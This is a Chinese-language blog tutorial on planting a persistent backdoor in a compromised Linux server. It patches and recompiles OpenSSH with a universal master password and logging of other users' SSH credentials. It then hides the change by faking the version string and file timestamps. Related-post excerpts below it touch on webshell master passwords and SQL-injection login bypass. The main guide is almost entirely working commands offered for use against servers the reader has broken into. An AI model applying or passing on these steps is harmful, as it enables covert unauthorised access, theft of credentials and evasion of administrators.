当我们在获得一台Linux服务器的 root 权限后,我们第一想做的就是如何维持这个权限,维持权限肯定想到的就是在目标服务器留下一个后门。但是留普通后门,肯定很容易被发现。我们今天要讲的就是留一个SSH后门,是通过修改SSH源代码的方式来留一个万能的SSH密码。

环境:

软件包准备:

首先查看一下SSH的版本号,记录下来

ssh -V

安装依赖包:

yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

重命名原来的ssh主程序和配置文件(作用是待会同步时间)

mv /etc/ssh/ssh_config   /etc/ssh/ssh_config.bank
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.bank
mv /usr/sbin/sshd /usr/sbin/sshd.bank

将软件包上传到根目录,并解压

tar -xzvf   openssh-5.9p1.patch.tar.gz
tar -xzvf openssh-5.9p1.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1  #移动补丁文件中的diff文件到正常ssh目录
cd openssh-5.9p1 #进入ssh正常目录
patch < sshbd5.9p1.diff #打补丁

修改后门密码和版本信息

vim includes.h

SECRETPW 这里是万能密码,ILOG是别人用ssh登录该主机记录的日志目录,OLOG是该主机用ssh登录其他主机记录的日志目录

vim version.h

将这里的版本号修改为刚开始使用ssh -V 查看的,避免被管理员发现

重新编译安装

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

如果这里出现了这个错误,是因为没有安装gcc编译库等编译环境

yum -y install gcc gcc-c++ make  #安装编译环境

安装了编译库环境后,重新编译安装,如果看到以下就说明编译成功

现在我们还要做的就是修改sshd程序和配置文件的时间,避免被管理员发现sshd程序发生了修改

touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd

重启sshd服务

service sshd restart   #重启sshd服务
ssh -V #查看版本号

使用其他主机SSH登录该主机,使用万能密码 xie 看能否成功登录,如下登录成功!

在/tmp目录下会生成ilog和olog日志,当其他主机ssh登录该主机时(使用万能密码登录的不会记录),会生成ilog日志,当该主机ssh登录其他主机时,会生成olog日志。

参考文章:

OpenSSH后门获取root密码及防范

利用Openssh后门 劫持root密码

SSH后门万能密码的更多相关文章

  1. 最强黑吃黑:WEBSHELL大马隐藏万能密码大全

    因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...

  2. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  3. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  4. ssh配置免密码登录

    日常工作中很多情况下都需要登录服务器进行管理,一般都是用ssh进行连接,为了防止密码外泄,可以配置下ssh的免密码登录. 首先服务器两台: A:43.224.34.* B:104.238.161.* ...

  5. SSH服务器拒绝密码检测

    这两天在配置Ubuntu 14.04的环境时,碰到一个典型的问题:在用xshell 连接Ubuntu时,显示"SSH服务器拒绝密码检测"的问题,在经过一系列配置修改后,最终怀疑是否 ...

  6. Jsp万能密码漏洞修复例子

    更多详细内容请查看:http://www.111cn.net/jsp/Java/58610.htm 如果网站出现这种“万能密码”漏洞该怎么办呢 'or'='or' 漏洞修复 方法有很多在这里介绍两种, ...

  7. 【mac】ssh免登录密码

    mac ssh免登录密码 在mac或者Linux上需要使用ssh登服务器,每次都需要输密码感觉很麻烦,搜了一下找到一个脚本,实践后发现可行. 1.创建脚本xx.sh $ vim xx.sh 输入: # ...

  8. 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

    另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...

  9. ssh key 免密码登陆服务器,批量分发管理以及挂载远程目录的sshfs

    ssh key 免密码登陆服务器,批量分发管理以及挂载远程目录的sshfs 第一部分:使用ssh key 实现服务器间的免密码交互登陆 步骤1: 安装openssh-clients [root@001 ...

随机推荐

  1. 华为OD机试题

    """最长回文字符串问题"""# 说明:方法很多,这个是最简单,也是最容易理解的一个,利用了动态规化.# 先确定回文串的右边界i,然后以右边 ...

  2. 测试工程师Docker进阶

    学习整理来源 B站 狂神说Java https://space.bilibili.com/95256449/ 四.docker镜像 1.镜像是什么 镜像是一种轻量级.可执行的独立软件包,用来打包软件运 ...

  3. 10、字典dict

    字典(dict) 字典是有序,键不重复,元素只能是键值对的可变的容器 dict = {'k1':'v1','k2':'v2'} 容器 元素必须键值对 键不重复,重复则会被覆盖 data = {'k1' ...

  4. JS逆向-抠代码的第四天【手把手学会抠代码】

    今天是md5巩固项目,该项目比昨天的复杂一些,但方法思路是一样的. 今天的目标:https://www.webportal.top/ 打开网站,填入账号密码(密码项目以123456做测试).点击登录抓 ...

  5. gtk---实现一个登录界面

    输入框 如果在GTK+中需要输入一个字符串,可以使用输入框,这是一个单行的输入构件,可以用于输入和显示正文内容. 输入框的基本操作函数 1.gtk_entry_new(void); 这是新建一个输入框 ...

  6. 一款检测代码中TODO的eslint插件

    一款检测代码中TODO的eslint插件 前言 看了我标题进来的同学应该也知道我做的是个啥东西 没错是一个eslint插件,前端魔法师们日常所使用的工具之一 什么?你不知道eslint是干嘛的--吃鲸 ...

  7. 配置docker的pdflatex环境

    技术背景 Latex在文档撰写方面是不可或缺的工具,尤其是在写文章方面,是必须要用到的文字排版工具.但是latex的环境部署并不是一个特别人性化的操作,尤其是在各种不同的平台上操作是完全不一样的,还经 ...

  8. SQL语句练习(进阶版)

    学生数据库中有三个基本表(关系)如下: 学生表S(Sno,Sname,Age,Sex,SD) 课程表C(Cno,Cname, Teacher) 选课表SC(Sno,Cno,Grade) 请用SQL语言 ...

  9. Python使用sql语句对mysql数据库多条件模糊查询

    1 def find_worldByName(c_name,continent): 2 print(c_name) 3 print(continent) 4 sql = " SELECT * ...

  10. 开篇:ISP基本模块介绍

    一般来说,ISP pipeline没有非常严格的流程,各家厂商具体实现方案或多或少都有些差异,但大致流程如下图所示.其中,又可以根据处理的数据将其分成BPS(Bayer process segment ...